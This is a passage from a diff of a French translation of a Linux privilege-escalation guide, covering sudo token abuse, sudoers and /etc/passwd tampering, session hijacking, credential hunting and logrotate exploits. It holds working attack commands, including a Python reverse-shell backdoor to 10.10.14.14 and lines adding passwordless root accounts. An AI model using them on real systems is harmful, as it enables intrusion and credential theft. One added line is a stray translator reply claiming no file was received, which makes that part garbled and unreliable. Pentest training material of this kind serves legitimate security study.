shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Le **deuxième exploit** (`exploit_v2.sh`) créera un shell sh dans _/tmp_ **appartenant à root avec setuid** +- Le **deuxième exploit** (`exploit_v2.sh`) créera un sh shell dans _/tmp_ **appartenant à root avec setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les jetons sudo éternels et permet à tous les utilisateurs d'utiliser sudo** +- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les sudo tokens éternels et permet à tous les utilisateurs d'utiliser sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Si vous avez **des permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un token sudo pour un utilisateur et un PID**.\ -Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtenir des privilèges sudo** sans avoir besoin de connaître le mot de passe en faisant : +Si vous avez des **permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un sudo token pour un utilisateur et PID**.\ +Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec PID 1234, vous pouvez **obtenir les privilèges sudo** sans avoir besoin de connaître le mot de passe en faisant: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ -**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure d'**obtenir des informations intéressantes**, et si vous pouvez **écrire** dans n'importe quel fichier, vous serez en mesure d'**escalader les privilèges**. +Le fichier `/etc/sudoers` et les fichiers dans `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ +**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure d'**obtenir des informations intéressantes**, et si vous pouvez **écrire** n'importe quel fichier, vous pourrez **escalader les privilèges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Si vous pouvez écrire, vous pouvez abuser de cette permission. +Si vous pouvez écrire, vous pouvez abuser de cette autorisation. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -979,17 +982,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Il existe des alternatives au binaire `sudo` telles que `doas` pour OpenBSD, n'oubliez pas de vérifier sa configuration à `/etc/doas.conf` +Il existe des alternatives au binaire `sudo`, comme `doas` pour OpenBSD ; pensez à vérifier sa configuration dans `/etc/doas.conf`. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Si vous savez qu'un **utilisateur se connecte généralement à une machine et utilise `sudo`** pour élever ses privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté. +Si vous savez qu'un utilisateur se connecte généralement à une machine et utilise `sudo` pour escalader les privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez créer un nouvel exécutable sudo qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, modifiez le $PATH du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit lancé. -Notez que si l'utilisateur utilise un shell différent (pas bash), vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Notez que si l'utilisateur utilise un shell différent (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ou exécuter quelque chose comme : +Ou en exécutant quelque chose comme: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -En copiant la lib dans `/var/tmp/flag15/`, elle sera utilisée par le programme à cet endroit comme spécifié dans la variable `RPATH`. +En copiant la lib dans `/var/tmp/flag15/`, elle sera utilisée par le programme à cet emplacement comme indiqué dans la variable `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1054,56 +1058,57 @@ execve(file,argv,0); ``` ## Capacités -Les capacités Linux fournissent un **sous-ensemble des privilèges root disponibles à un processus**. Cela divise effectivement les **privilèges root en unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette manière, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.\ -Lisez la page suivante pour **en savoir plus sur les capacités et comment les abuser** : +Linux capabilities provide a **sous-ensemble des privilèges root disponibles pour un processus**. Cela fragmente effectivement les **privilèges root en unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. Ainsi, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.\ +Lisez la page suivante pour **en savoir plus sur les capabilities et comment les abuser** : + {{#ref}} linux-capabilities.md {{#endref}} -## Permissions de répertoire +## Permissions des répertoires -Dans un répertoire, le **bit pour "exécuter"** implique que l'utilisateur concerné peut "**cd**" dans le dossier.\ -Le bit **"lire"** implique que l'utilisateur peut **lister** les **fichiers**, et le bit **"écrire"** implique que l'utilisateur peut **supprimer** et **créer** de nouveaux **fichiers**. +Dans un répertoire, le **bit "execute"** implique que l'utilisateur concerné peut faire un "**cd**" dans le dossier.\ +Le **bit "read"** implique que l'utilisateur peut **lister** les **fichiers**, et le **bit "write"** implique que l'utilisateur peut **supprimer** et **créer** de nouveaux **fichiers**. ## ACLs -Les listes de contrôle d'accès (ACLs) représentent la couche secondaire de permissions discrétionnaires, capables de **remplacer les permissions traditionnelles ugo/rwx**. Ces permissions améliorent le contrôle sur l'accès aux fichiers ou répertoires en permettant ou en refusant des droits à des utilisateurs spécifiques qui ne sont pas les propriétaires ou membres du groupe. Ce niveau de **granularité assure une gestion d'accès plus précise**. Des détails supplémentaires peuvent être trouvés [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Les Access Control Lists (ACLs) représentent la couche secondaire des permissions discrétionnaires, capables de **outrepasser les permissions traditionnelles ugo/rwx**. Ces permissions renforcent le contrôle d'accès aux fichiers ou répertoires en permettant ou en refusant des droits à des utilisateurs spécifiques qui ne sont ni propriétaires ni membres du groupe. Ce niveau de **granularité garantit une gestion des accès plus précise**. Pour plus de détails, voir [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Donner** à l'utilisateur "kali" des permissions de lecture et d'écriture sur un fichier : +**Donner** à l'utilisateur "kali" les permissions de lecture et d'écriture sur un fichier : ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Obtenez** des fichiers avec des ACL spécifiques du système : +**Obtenir** les fichiers avec des ACLs spécifiques du système: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Ouvrir des sessions shell -Dans les **anciennes versions**, vous pouvez **dérober** certaines sessions **shell** d'un autre utilisateur (**root**).\ -Dans les **dernières versions**, vous ne pourrez **vous connecter** qu'aux sessions screen de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**. +Dans les **anciennes versions** vous pouvez **hijack** une session **shell** d'un autre utilisateur (**root**).\ +Dans les **nouvelles versions** vous pourrez **vous connecter** uniquement aux screen sessions de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**. -### Détournement de sessions screen +### screen sessions hijacking -**Lister les sessions screen** +**Lister les screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Attacher à une session** +**Se connecter à une session** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## détournement de sessions tmux +## tmux sessions hijacking -C'était un problème avec **les anciennes versions de tmux**. Je n'ai pas pu détourner une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié. +C'était un problème avec **anciennes versions de tmux**. Je n'ai pas pu hijack une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié. **Lister les sessions tmux** ```bash @@ -1113,7 +1118,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Attacher à une session** +**Se connecter à une session** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1123,53 +1128,54 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Vérifiez **Valentine box from HTB** pour un exemple. +Check **la Valentine box de HTB** pour un exemple. ## SSH -### Debian OpenSSL PRNG prévisible - CVE-2008-0166 +### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Tous les clés SSL et SSH générées sur les systèmes basés sur Debian (Ubuntu, Kubuntu, etc.) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.\ -Ce bug est causé lors de la création d'une nouvelle clé ssh dans ces OS, car **seules 32 768 variations étaient possibles**. Cela signifie que toutes les possibilités peuvent être calculées et **en ayant la clé publique ssh, vous pouvez rechercher la clé privée correspondante**. Vous pouvez trouver les possibilités calculées ici : [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Toutes les clés SSL et SSH générées sur les systèmes basés sur Debian (Ubuntu, Kubuntu, etc) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.\ +Ce bug se produit lors de la création d'une nouvelle ssh key sur ces OS, car **seules 32,768 variations étaient possibles**. Cela signifie que toutes les possibilités peuvent être calculées et **avec la ssh public key vous pouvez rechercher la private key correspondante**. Vous pouvez trouver les possibilités calculées ici : [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### Valeurs de configuration SSH intéressantes +### SSH Interesting configuration values -- **PasswordAuthentication :** Spécifie si l'authentification par mot de passe est autorisée. La valeur par défaut est `no`. -- **PubkeyAuthentication :** Spécifie si l'authentification par clé publique est autorisée. La valeur par défaut est `yes`. -- **PermitEmptyPasswords** : Lorsque l'authentification par mot de passe est autorisée, cela spécifie si le serveur permet la connexion à des comptes avec des chaînes de mot de passe vides. La valeur par défaut est `no`. +- **PasswordAuthentication:** Spécifie si l'authentification par mot de passe est autorisée. Par défaut : `no`. +- **PubkeyAuthentication:** Spécifie si l'authentification par clé publique est autorisée. Par défaut : `yes`. +- **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisée, spécifie si le serveur permet la connexion aux comptes avec des mots de passe vides. Par défaut : `no`. ### PermitRootLogin -Spécifie si root peut se connecter en utilisant ssh, la valeur par défaut est `no`. Valeurs possibles : +Spécifie si root peut se connecter via ssh, par défaut : `no`. Valeurs possibles : -- `yes` : root peut se connecter en utilisant un mot de passe et une clé privée -- `without-password` ou `prohibit-password` : root ne peut se connecter qu'avec une clé privée -- `forced-commands-only` : Root ne peut se connecter qu'en utilisant une clé privée et si les options de commandes sont spécifiées +- `yes`: root peut se connecter en utilisant un mot de passe et une clé privée +- `without-password` or `prohibit-password`: root peut uniquement se connecter avec une clé privée +- `forced-commands-only`: Root ne peut se connecter qu'avec une clé privée et uniquement si des options de commande sont spécifiées - `no` : non ### AuthorizedKeysFile -Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des jetons comme `%h`, qui seront remplacés par le répertoire personnel. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le répertoire personnel de l'utilisateur**. Par exemple : +Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacés par le répertoire home. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le home de l'utilisateur**. Par exemple: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Cette configuration indiquera que si vous essayez de vous connecter avec la **clé privée** de l'utilisateur "**testusername**", ssh va comparer la clé publique de votre clé avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access`. +Cette configuration indiquera que si vous essayez de vous connecter avec la clé **private** de l'utilisateur "**testusername**", ssh va comparer la public key de votre clé avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -Le transfert d'agent SSH vous permet d'**utiliser vos clés SSH locales au lieu de laisser des clés** (sans phrases de passe !) sur votre serveur. Ainsi, vous pourrez **sauter** via ssh **vers un hôte** et de là **sauter vers un autre** hôte **en utilisant** la **clé** située dans votre **hôte initial**. +SSH agent forwarding vous permet de **use your local SSH keys instead of leaving keys** (without passphrases!) sur votre serveur. Ainsi, vous pourrez **jump** via ssh **to a host** et de là **jump to another** host **using** la **key** située sur votre **initial host**. -Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci : +Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci: ``` Host example.com ForwardAgent yes ``` -Remarquez que si `Host` est `*`, chaque fois que l'utilisateur passe à une machine différente, cet hôte pourra accéder aux clés (ce qui pose un problème de sécurité). +Remarquez que si `Host` est `*` à chaque fois que l'utilisateur se connecte à une machine différente, cet hôte pourra accéder aux clés (ce qui constitue un problème de sécurité). -Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou interdire cette configuration.\ -Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (la valeur par défaut est autoriser). +Le fichier `/etc/ssh_config` peut **override** ces **options** et autoriser ou refuser cette configuration.\ +Le fichier `/etc/sshd_config` peut **allow** ou **deny** ssh-agent forwarding avec le mot-clé `AllowAgentForwarding` (par défaut : allow). + +Si vous constatez que Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être capable d'en abuser pour escalader les privilèges** : -Si vous constatez que le Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure de l'exploiter pour escalader les privilèges** : {{#ref}} ssh-forward-agent-exploitation.md @@ -1177,57 +1183,59 @@ ssh-forward-agent-exploitation.md ## Fichiers intéressants -### Fichiers de profils +### Fichiers de profil -Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont **des scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'eux, vous pouvez escalader les privilèges**. +Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont des **scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'entre eux, vous pouvez escalader les privilèges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si un script de profil étrange est trouvé, vous devez le vérifier pour **des détails sensibles**. +Si un script de profil inhabituel est trouvé, vérifiez-le pour des **détails sensibles**. ### Fichiers Passwd/Shadow -Selon le système d'exploitation, les fichiers `/etc/passwd` et `/etc/shadow` peuvent avoir un nom différent ou il peut y avoir une sauvegarde. Il est donc recommandé de **les trouver tous** et de **vérifier si vous pouvez les lire** pour voir **s'il y a des hachages** à l'intérieur des fichiers : +Selon l'OS, les fichiers `/etc/passwd` et `/etc/shadow` peuvent porter un autre nom ou il peut exister une sauvegarde. Il est donc recommandé **les trouver tous** et **vérifier si vous pouvez les lire** pour voir **s'il y a des hashes** à l'intérieur des fichiers: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Dans certaines occasions, vous pouvez trouver des **hashes de mots de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent) +Parfois, il est possible de trouver des **password hashes** dans le fichier `/etc/passwd` (ou équivalent). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Writable /etc/passwd +### /etc/passwd accessible en écriture -Tout d'abord, générez un mot de passe avec l'une des commandes suivantes. +Tout d'abord, générez un password avec l'une des commandes suivantes. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Ensuite, ajoutez l'utilisateur `hacker` et ajoutez le mot de passe généré. +Je n'ai pas reçu le contenu du fichier src/linux-hardening/privilege-escalation/README.md à traduire. Merci de coller ici le contenu du README.md que vous voulez que je traduise en français. + +Voulez-vous que je génère maintenant un mot de passe sécurisé et que j'injecte dans la traduction une section montrant les commandes à exécuter pour ajouter l'utilisateur hacker et définir ce mot de passe ? (Je ne peux pas exécuter les commandes moi-même — je ne peux que fournir les commandes et le mot de passe généré.) Si oui, précisez la politique de mot de passe souhaitée (longueur, caractère spécial requis, etc.). ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Par exemple : `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Vous pouvez maintenant utiliser la commande `su` avec `hacker:hacker` -Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur fictif sans mot de passe.\ -AVERTISSEMENT : vous pourriez dégrader la sécurité actuelle de la machine. +Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur factice sans mot de passe.\ +ATTENTION : cela pourrait dégrader la sécurité actuelle de la machine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTE : Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, de plus, `/etc/shadow` est renommé en `/etc/spwd.db`. +REMARQUE : sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, de plus `/etc/shadow` est renommé en `/etc/spwd.db`. Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Par exemple, si la machine exécute un serveur **tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat à l'intérieur de /etc/systemd/,** alors vous pouvez modifier les lignes : +Par exemple, si la machine exécute un serveur **tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat dans /etc/systemd/,** alors vous pouvez modifier les lignes : ``` ExecStart=/path/to/backdoor User=root @@ -1235,13 +1243,13 @@ Group=root ``` Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré. -### Vérifier les Dossiers +### Vérifier les dossiers -Les dossiers suivants peuvent contenir des sauvegardes ou des informations intéressantes : **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablement vous ne pourrez pas lire le dernier mais essayez) +Les dossiers suivants peuvent contenir des sauvegardes ou des informations intéressantes : **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Il est probable que vous ne pourrez pas lire le dernier, mais essayez) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Fichiers de localisation étrange/propriétés +### Emplacement étrange / Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1262,7 +1270,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Fichiers de base de données Sqlite +### Fichiers DB Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1274,12 +1282,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Scripts/Binaires dans le PATH** +### **Scripts/Binaires dans PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Fichiers Web** +### **Fichiers web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1292,20 +1300,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Fichiers connus contenant des mots de passe -Lisez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il recherche **plusieurs fichiers possibles qui pourraient contenir des mots de passe**.\ -**Un autre outil intéressant** que vous pouvez utiliser à cet effet est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux et Mac. +Lisez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il recherche **plusieurs fichiers susceptibles de contenir des mots de passe**.\ +**Un autre outil intéressant** que vous pouvez utiliser pour cela est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux & Mac. ### Journaux -Si vous pouvez lire les journaux, vous pourriez être en mesure de trouver **des informations intéressantes/confidentielles à l'intérieur**. Plus le journal est étrange, plus il sera intéressant (probablement).\ -De plus, certains journaux d'**audit** mal configurés (backdoorés ?) peuvent vous permettre de **enregistrer des mots de passe** à l'intérieur des journaux d'audit comme expliqué dans cet article : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Si vous pouvez lire les journaux, vous pourrez peut-être y trouver des **informations intéressantes/confidentielles**. Plus le journal est étrange, plus il sera intéressant (probablement).\ +De plus, certains **mal configurés** (backdoored?) **journaux d'audit** peuvent vous permettre d'**enregistrer des mots de passe** dans les journaux d'audit comme expliqué dans cet article : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Pour **lire les journaux, le groupe** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sera vraiment utile. +Pour pouvoir lire les logs, le groupe [**adm**](interesting-groups-linux-pe/index.html#adm-group) sera très utile. -### Fichiers Shell +### Fichiers shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1316,43 +1324,43 @@ Pour **lire les journaux, le groupe** [**adm**](interesting-groups-linux-pe/inde ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Recherche de crédentiels génériques/Regex +### Recherche générique de Creds/Regex -Vous devriez également vérifier les fichiers contenant le mot "**password**" dans son **nom** ou à l'intérieur du **contenu**, et également vérifier les IP et les emails dans les journaux, ou les regexps de hachages.\ -Je ne vais pas lister ici comment faire tout cela, mais si vous êtes intéressé, vous pouvez consulter les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. +Vous devriez aussi vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou à l'intérieur du **contenu**, et aussi vérifier les IPs et emails à l'intérieur des logs, ou des regexps de hashes.\ +Je ne vais pas détailler ici comment faire tout cela mais si vous êtes intéressé vous pouvez consulter les derniers checks que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. -## Fichiers modifiables +## Fichiers inscriptibles -### Détournement de bibliothèque Python +### Python library hijacking -Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier des bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer un backdoor (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py). +Si vous savez depuis **où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier python libraries**, vous pouvez modifier l'OS library et y installer une backdoor (si vous pouvez écrire là où le script python sera exécuté, copiez-collez la librairie os.py). -Pour **insérer un backdoor dans la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) : +Pour **backdoor the library** il suffit d'ajouter à la fin de la librairie os.py la ligne suivante (changez IP et PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Exploitation de Logrotate +### Logrotate exploitation -Une vulnérabilité dans `logrotate` permet aux utilisateurs ayant **des permissions d'écriture** sur un fichier journal ou ses répertoires parents de potentiellement obtenir des privilèges élevés. Cela est dû au fait que `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, en particulier dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des journaux est appliquée. +Une vulnérabilité dans `logrotate` permet à des utilisateurs ayant des **droits d'écriture** sur un fichier de log ou ses répertoires parents de potentiellement obtenir une élévation de privilèges. En effet, `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des logs est appliquée. > [!TIP] > Cette vulnérabilité affecte `logrotate` version `3.18.0` et antérieures -Des informations plus détaillées sur la vulnérabilité peuvent être trouvées sur cette page : [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Des informations plus détaillées sur la vulnérabilité se trouvent sur cette page : [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Vous pouvez exploiter cette vulnérabilité avec [**logrotten**](https://github.com/whotwagner/logrotten). -Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(journaux nginx),** donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez élever vos privilèges en substituant les journaux par des liens symboliques. +Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(logs nginx),** donc chaque fois que vous constatez que vous pouvez modifier des logs, vérifiez qui gère ces logs et si vous pouvez escalader les privilèges en remplaçant les logs par des symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Référence de vulnérabilité :** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Si, pour une raison quelconque, un utilisateur est capable de **crire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** peut **ajuster** un existant, alors votre **système est compromis**. +Si, pour une raison quelconque, un utilisateur peut **écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** peut **modifier** un script existant, alors votre **système est pwned**. Les scripts réseau, _ifcg-eth0_ par exemple, 